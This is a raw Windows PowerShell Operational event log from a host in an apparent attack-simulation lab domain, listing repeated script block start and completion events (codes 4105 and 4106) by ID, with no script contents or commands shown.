OpCode=On create calls
RecordNumber=2029804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029791
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029790
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029789
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029788
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029771
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029766
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029765
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
